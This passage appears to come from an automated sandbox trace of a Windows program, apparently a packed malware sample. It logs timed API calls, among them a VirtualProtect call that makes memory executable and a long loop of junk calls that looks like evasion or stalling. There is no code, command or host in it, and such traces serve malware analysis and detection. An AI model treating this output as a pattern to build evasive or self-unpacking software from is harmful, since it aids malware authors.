lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.359] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.359] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.359] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.359] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.359] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.360] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.360] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.360] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.360] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.360] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.360] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.360] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.360] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.360] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.877] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.882] Module32First (hSnapshot=0x5c, lpme=0x18fbc0) returned 1 [0118.008] CloseHandle (hObject=0x5c) returned 1 [0118.008] BeginPaint (in: hWnd=0x0, lpPaint=0x0 | out: lpPaint=0x0) returned 0x0 [0118.055] GetLastError () returned 0x578 [0118.067] LocalFree (hMem=0x6ca178) returned 0x0 [0118.067] VirtualProtect (in: lpAddress=0x692a38, dwSize=0x29967, flNewProtect=0x40, lpflOldProtect=0x474f58 | out: lpflOldProtect=0x474f58*=0x4) returned 1 [0118.067] GetLastError () returned 0x578 [0118.067] AddAtomA (lpString=0x0) returned 0x0 [0118.067] AddAtomA (lpString=0x0) returned 0x0 [0118.067] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.068] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.068] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.068] GetLastError () returned 0x3 [0118.068] AddAtomA (lpString=0x0) returned 0x0 [0118.068] AddAtomA (lpString=0x0) returned 0x0 [0118.068] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.068] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.068] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.068] GetLastError () returned 0x3 [0118.068] AddAtomA (lpString=0x0) returned 0x0 [0118.068] AddAtomA (lpString=0x0) returned 0x0 [0118.068] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.068] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.068] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.068] GetLastError () returned 0x3 [0118.068] AddAtomA (lpString=0x0) returned 0x0 [0118.068] AddAtomA (lpString=0x0) returned 0x0 [0118.068] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.068] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.068] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.068] GetLastError () returned 0x3 [0118.068] AddAtomA (lpString=0x0) returned 0x0 [0118.068] AddAtomA (lpString=0x0) returned 0x0 [0118.068] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.068] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.068] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.068] GetLastError () returned 0x3 [0118.068] AddAtomA (lpString=0x0) returned 0x0 [0118.068] AddAtomA (lpString=0x0) returned 0x0 [0118.068] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.068] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.069] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.069] GetLastError () returned 0x3 [0118.069] AddAtomA (lpString=0x0) returned 0x0 [0118.069] AddAtomA (lpString=0x0) returned 0x0 [0118.069] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.069] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.069] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.069] GetLastError () returned 0x3 [0118.069] AddAtomA (lpString=0x0) returned 0x0 [0118.069] AddAtomA (lpString=0x0) returned 0x0 [0118.069] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.069] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.069] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.069] GetLastError () returned 0x3 [0118.069] AddAtomA (lpString=0x0) returned 0x0 [0118.069] AddAtomA (lpString=0x0) returned 0x0 [0118.069] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.069] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.069] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.069] GetLastError () returned 0x3 [0118.069] AddAtomA (lpString=0x0) returned 0x0 [0118.069] AddAtomA (lpString=0x0) returned 0x0 [0118.069] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.069] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.069] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.069] GetLastError () returned 0x3 [0118.069] AddAtomA (lpString=0x0) returned 0x0 [0118.069] AddAtomA (lpString=0x0) returned 0x0 [0118.069] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.069] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.069] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.069] GetLastError () returned 0x3 [0118.069] AddAtomA (lpString=0x0) returned 0x0 [0118.069] AddAtomA (lpString=0x0) returned 0x0 [0118.069] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.070] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.070] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.070] GetLastError () returned 0x3 [0118.070] AddAtomA (lpString=0x0) returned 0x0 [0118.070] AddAtomA (lpString=0x0) returned 0x0 [0118.070] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.070] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.070] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.071] GetLastError () returned 0x3 [0118.071] AddAtomA (lpString=0x0) returned 0x0 [0118.071] AddAtomA (lpString=0x0) returned 0x0 [0118.071] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.071] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.071] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.071] GetLastError () returned 0x3 [0118.071] AddAtomA (lpString=0x0) returned 0x0 [0118.071] AddAtomA (lpString=0x0) returned 0x0 [0118.071] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.071] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.071] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.071] GetLastError () returned 0x3 [0118.071] AddAtomA (lpString=0x0) returned 0x0 [0118.071] AddAtomA (lpString=0x0) returned 0x0 [0118.071] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.071] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.071] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.071] GetLastError () returned 0x3 [0118.071] AddAtomA (lpString=0x0) returned 0x0 [0118.071] AddAtomA (lpString=0x0) returned 0x0 [0118.071] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.071] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.071] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.071] GetLastError () returned 0x3 [0118.071] AddAtomA (lpString=0x0) returned 0x0 [0118.071] AddAtomA (lpString=0x0) returned 0x0 [0118.071] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.071] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.071] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.072] GetLastError () returned 0x3 [0118.072] AddAtomA (lpString=0x0) returned 0x0 [0118.072] AddAtomA (lpString=0x0) returned 0x0 [0118.072] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.072] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.072] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.072] GetLastError () returned 0x3 [0118.072] AddAtomA (lpString=0x0) returned 0x0 [0118.072] AddAtomA (lpString=0x0) returned 0x0 [0118.072] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.072] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.072] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.072] GetLastError () returned 0x3 [0118.072] AddAtomA (lpString=0x0) returned 0x0 [0118.072] AddAtomA (lpString=0x0) returned 0x0 [0118.072] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.072] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.072] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.072] GetLastError () returned 0x3 [0118.072] AddAtomA (lpString=0x0) returned 0x0 [0118.072] AddAtomA (lpString=0x0) returned 0x0 [0118.072] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.072] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.072] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.072] GetLastError () returned 0x3 [0118.072] AddAtomA (lpString=0x0) returned 0x0 [0118.072] AddAtomA (lpString=0x0) returned 0x0 [0118.072] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.072] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.072] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.072] GetLastError () returned 0x3 [0118.072] AddAtomA (lpString=0x0) returned 0x0 [0118.072] AddAtomA (lpString=0x0) returned 0x0 [0118.072] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.072] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.072] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.072] GetLastError () returned 0x3 [0118.072] AddAtomA (lpString=0x0) returned 0x0 [0118.072] AddAtomA (lpString=0x0) returned 0x0 [0118.072] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.072] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.072] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.073] GetLastError () returned 0x3 [0118.073] AddAtomA (lpString=0x0) returned 0x0 [0118.073] AddAtomA (lpString=0x0) returned 0x0 [0118.073] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.073] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.073] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.073] GetLastError () returned 0x3 [0118.073] AddAtomA (lpString=0x0) returned 0x0 [0118.073] AddAtomA (lpString=0x0) returned 0x0 [0118.073] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.073] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.073] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.073] GetLastError () returned 0x3 [0118.073] AddAtomA (lpString=0x0) returned 0x0 [0118.073] AddAtomA (lpString=0x0) returned 0x0 [0118.073] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.073] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.073] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.073] GetLastError () returned 0x3 [0118.073] AddAtomA (lpString=0x0) returned 0x0 [0118.073] AddAtomA (lpString=0x0) returned 0x0 [0118.073] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.073] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.073] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.073] GetLastError () returned 0x3 [0118.073] AddAtomA (lpString=0x0) returned 0x0 [0118.073] AddAtomA (lpString=0x0) returned 0x0 [0118.073] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.073] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.073] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.073] GetLastError () returned 0x3 [0118.073] AddAtomA (lpString=0x0) returned 0x0 [0118.073] AddAtomA (lpString=0x0) returned 0x0 [0118.073] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.073] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.073] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.073] GetLastError () returned 0x3 [0118.073] AddAtomA (lpString=0x0) returned 0x0 [0118.073] AddAtomA (lpString=0x0) returned 0x0 [0118.073] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.074] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.074] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.074] GetLastError () returned 0x3 [0118.074] AddAtomA (lpString=0x0) returned 0x0 [0118.074] AddAtomA (lpString=0x0) returned 0x0 [0118.074] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.074] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.074] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.074] GetLastError () returned 0x3 [0118.074] AddAtomA (lpString=0x0) returned 0x0 [0118.074] AddAtomA (lpString=0x0) returned 0x0 [0118.074] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.074] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.074] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.074] GetLastError () returned 0x3 [0118.074] AddAtomA (lpString=0x0) returned 0x0 [0118.074] AddAtomA (lpString=0x0) returned 0x0 [0118.074] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.074] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.074] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.074] GetLastError () returned 0x3 [0118.074] AddAtomA (lpString=0x0) returned 0x0 [0118.074] AddAtomA (lpString=0x0) returned 0x0 [0118.074] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.074] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.074] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.074] GetLastError () returned 0x3 [0118.074] AddAtomA (lpString=0x0) returned 0x0 [0118.074] AddAtomA (lpString=0x0) returned 0x0 [0118.074] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.074] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.074] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.074] GetLastError () returned 0x3 [0118.074] AddAtomA (lpString=0x0) returned 0x0 [0118.074] AddAtomA (lpString=0x0) returned 0x0 [0118.074] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.074] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.074] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.074] GetLastError () returned 0x3 [0118.074] AddAtomA (lpString=0x0) returned 0x0 [0118.075] AddAtomA (lpString=0x0) returned 0x0 [0118.075] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.075] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.075] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.075] GetLastError () returned 0x3 [0118.075] AddAtomA (lpString=0x0) returned 0x0 [0118.075] AddAtomA (lpString=0x0) returned 0x0 [0118.075] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.075] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.075] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.075] GetLastError () returned 0x3 [0118.075] AddAtomA (lpString=0x0) returned 0x0 [0118.075] AddAtomA (lpString=0x0) returned 0x0 [0118.075] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.075] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.075] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.075] GetLastError () returned 0x3 [0118.075] AddAtomA (lpString=0x0) returned 0x0 [0118.075] AddAtomA (lpString=0x0) returned 0x0 [0118.075] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.075] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.075] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.075] GetLastError () returned 0x3 [0118.075] AddAtomA (lpString=0x0) returned 0x0 [0118.075] AddAtomA (lpString=0x0) returned 0x0 [0118.075] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.075] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.075] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.075] GetLastError () returned 0x3 [0118.075] AddAtomA (lpString=0x0) returned 0x0 [0118.075] AddAtomA (lpString=0x0) returned 0x0 [0118.075] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.075] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.075] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.075] GetLastError () returned 0x3 [0118.075] AddAtomA (lpString=0x0) returned 0x0 [0118.075] AddAtomA (lpString=0x0) returned 0x0 [0118.075] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.075] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.075] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.076] GetLastError () returned 0x3 [0118.076] AddAtomA (lpString=0x0) returned 0x0 [0118.076] AddAtomA (lpString=0x0) returned 0x0 [0118.076] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.076] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.076] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.076] GetLastError () returned 0x3 [0118.076] AddAtomA (lpString=0x0) returned 0x0 [0118.076] AddAtomA (lpString=0x0) returned 0x0 [0118.076] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.076] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.076] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.076] GetLastError () returned 0x3 [0118.076] AddAtomA (lpString=0x0) returned 0x0 [0118.076] AddAtomA (lpString=0x0) returned 0x0 [0118.076] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.076] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.076] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.076] GetLastError () returned 0x3 [0118.076] AddAtomA (lpString=0x0) returned 0x0 [0118.076] AddAtomA (lpString=0x0) returned 0x0 [0118.076] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.076] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.076] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.076] GetLastError () returned 0x3 [0118.076] AddAtomA (lpString=0x0) returned 0x0 [0118.076] AddAtomA (lpString=0x0) returned 0x0 [0118.076] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.076] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.076] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.076] GetLastError () returned 0x3 [0118.076] AddAtomA (lpString=0x0) returned 0x0 [0118.076] AddAtomA (lpString=0x0) returned 0x0 [0118.076] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.076] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.076] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.076] GetLastError () returned 0x3 [0118.076] AddAtomA (lpString=0x0) returned 0x0 [0118.076] AddAtomA (lpString=0x0) returned 0x0 [0118.076] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.077] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.077] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.077] GetLastError () returned 0x3 [0118.077] AddAtomA (lpString=0x0) returned 0x0 [0118.077] AddAtomA (lpString=0x0) returned 0x0 [0118.077] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.077] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.077] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.077] GetLastError () returned 0x3 [0118.077] AddAtomA (lpString=0x0) returned 0x0 [0118.077] AddAtomA (lpString=0x0) returned 0x0 [0118.077] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.077] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff 